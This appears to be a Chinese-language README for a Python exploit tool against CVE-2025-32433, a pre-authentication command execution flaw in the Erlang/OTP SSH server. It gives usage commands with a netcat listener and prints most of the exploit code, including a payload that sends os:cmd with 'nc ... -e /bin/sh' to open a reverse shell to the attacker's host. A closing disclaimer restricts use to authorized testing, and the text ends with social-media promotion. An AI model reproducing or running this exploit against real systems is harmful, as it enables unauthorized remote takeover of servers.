CVE-2025-32433 Erlang SSH 漏洞利用工具项目描述这是一个针对CVE-2025-32433漏洞的Python自动化利用脚本。该漏洞存在于Erlang/OTP的SSH服务器库中影响OTP-27.3.3、OTP-26.2.5.11和OTP-25.3.2.20之前的版本。攻击者可以利用此漏洞在无需有效凭证的情况下执行任意命令获得未经授权的系统访问权限。本项目提供了一个完整的利用工具通过发送特制的预认证SSH通道请求触发Erlang RCE载荷并建立反向Shell连接。功能特性自动化攻击流程: 自动处理SSH协议握手、通道建立和载荷发送全过程灵活的参数配置: 支持自定义攻击机和目标机的IP地址与端口Erlang RCE载荷: 利用os:cmd函数执行Netcat命令建立反向Shell详细的日志输出: 提供每个攻击阶段的实时状态反馈协议级封装: 正确实现SSH消息格式、填充和长度编码异常处理: 包含完善的错误捕获和连接超时机制命令行友好: 使用argparse库提供清晰的帮助信息和参数验证安装指南系统要求Python 3.6 或更高版本网络连接权限用于连接目标SSH服务攻击机上需要运行Netcat监听器安装步骤克隆或下载脚本gitclonerepository-url# 或直接下载 CVE-2025-32433.py 文件确保Python环境可用python3 --version无需额外依赖脚本仅使用Python标准库argparse、socket、struct、time、sys使用说明基本使用流程启动Netcat监听器在攻击机上nc-lvnp4444运行漏洞利用脚本python3 CVE-2025-32433.py -lh192.168.1.100 -lp4444-rh10.0.0.5 -rp22等待Shell连接如果目标系统易受攻击反向Shell将连接到您的监听器参数详解参数简写必选默认值描述--lhost-lh是-接收反向Shell的本地IP地址--lport-lp是-接收反向Shell的本地端口--rhost-rh否10.10.10.10目标SSH服务器IP地址--rport-rp否22目标SSH服务器端口--help-h否-显示帮助信息使用示例攻击内网目标:python3 CVE-2025-32433.py -lh192.168.1.100 -lp4444-rh192.168.1.50攻击自定义端口:python3 CVE-2025-32433.py -lh10.0.0.2 -lp5555-rh vulnerable.com -rp2222核心代码1. 参数解析模块defparse_args():parserargparse.ArgumentParser(descriptionCTF exploit: send a pre-auth SSH channel request with an Erlang RCE payload to get a reverse shell)parser.add_argument(-lh,--lhost,requiredTrue,helpLocal host/IP to receive the reverse shell)parser.add_argument(-lp,--lport,typeint,requiredTrue,helpLocal port to receive the reverse shell)parser.add_argument(-rh,--rhost,default10.10.10.10,helpTarget SSH server IP (default: 10.10.10.10))parser.add_argument(-rp,--rport,typeint,default22,helpTarget SSH server port (default: 22))returnparser.parse_args()代码说明使用argparse库定义命令行参数包括必需的本地监听地址/端口和可选的目标地址/端口提供清晰的帮助信息。2. SSH消息构造模块defstring_payload(s:str)-bytes:bs.encode(utf-8)returnstruct.pack(I,len(b))bdefbuild_channel_request(channel_id:int,lhost:str,lport:int)-bytes:# Erlang RCE payload using netcat; trailing period is requiredpayloadfos:cmd(nc{lhost}{lport}-e /bin/sh).return(b\x62# SSH_MSG_CHANNEL_REQUESTstruct.pack(I,channel_id)string_payload(exec)b\x01# want_reply Truestring_payload(payload))代码说明构建SSH协议消息其中关键部分是生成Erlang RCE载荷通过os:cmd函数执行Netcat命令建立反向Shell注意末尾的句点是Erlang语法要求。3. SSH数据包封装模块defpad_packet(pkt:bytes,block_size:int8)-bytes:min_pad4pad_lenblock_size-((len(pkt)5)%block_size)ifpad_lenmin_pad:pad_lenblock_size total_lenlen(pkt)1pad_lenreturnstruct.pack(I,total_len)bytes([pad_len])pktb\x00*pad_len代码说明实现SSH协议的数据包填充机制计算正确的填充长度以确保数据包符合SSH协议规范包括总长度、填充长度和实际内容。4. 主攻击逻辑模块defmain():argsparse_args()print(f[*] Target:{args.rhost}:{args.rport})print(f[*] Listener:{args.lhost}:{args.lport})try:withsocket.create_connection((args.rhost,args.rport),timeout5)ass:print([*] Connected. Exchanging banner...)s.sendall(bSSH-2.0-OpenSSH_8.9\r\n)banners.recv(1024)print(f[] Banner:{banner.strip().decode(errorsignore)})time.sleep(0.3)print([*] Sending fake KEXINIT...)s.sendall(pad_packet(build_kexinit()))time.sleep(0.3)print([*] Opening channel...)s.sendall(pad_packet(build_channel_open()))time.sleep(0.3)print([*] Sending exec request with Erlang reverse-shell payload...)reqbuild_channel_request(0,args.lhost,args.lport)s.sendall(pad_packet(req))print([✓] Payload sent. If the server is vulnerable, check your listener now.)exceptExceptionase:print(f[!] Exploit failed:{e})sys.exit(1)代码说明主攻击流程建立TCP连接发送SSH横幅伪造密钥交换初始化打开SSH通道最后发送包含RCE载荷的通道请求每个步骤间有适当延迟以确保协议顺序。5. KEXINIT构造模块defbuild_kexinit()-bytes:cookieb\x00*16defnl(lst):returnstring_payload(,.join(lst))return(b\x14# SSH_MSG_KEXINITcookienl([curve25519-sha256,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,])nl([rsa-sha2-256,rsa-sha2-512])nl([aes128-ctr])*2nl([hmac-sha1])*2nl([none])*2nl([])*2b\x00# first_kex_packet_followsstruct.pack(I,0)# reserved)代码说明构造SSH密钥交换初始化消息定义支持的算法列表包括密钥交换算法、主机密钥算法、加密算法和MAC算法使用空cookie和适当的保留字段。免责声明: 本工具仅供教育、研究和授权安全测试使用。请仅对您拥有合法权限的系统进行测试。未经授权攻击他人系统是违法行为。FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ5ZLZ6sDpmKDPWlvvdwWfc更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享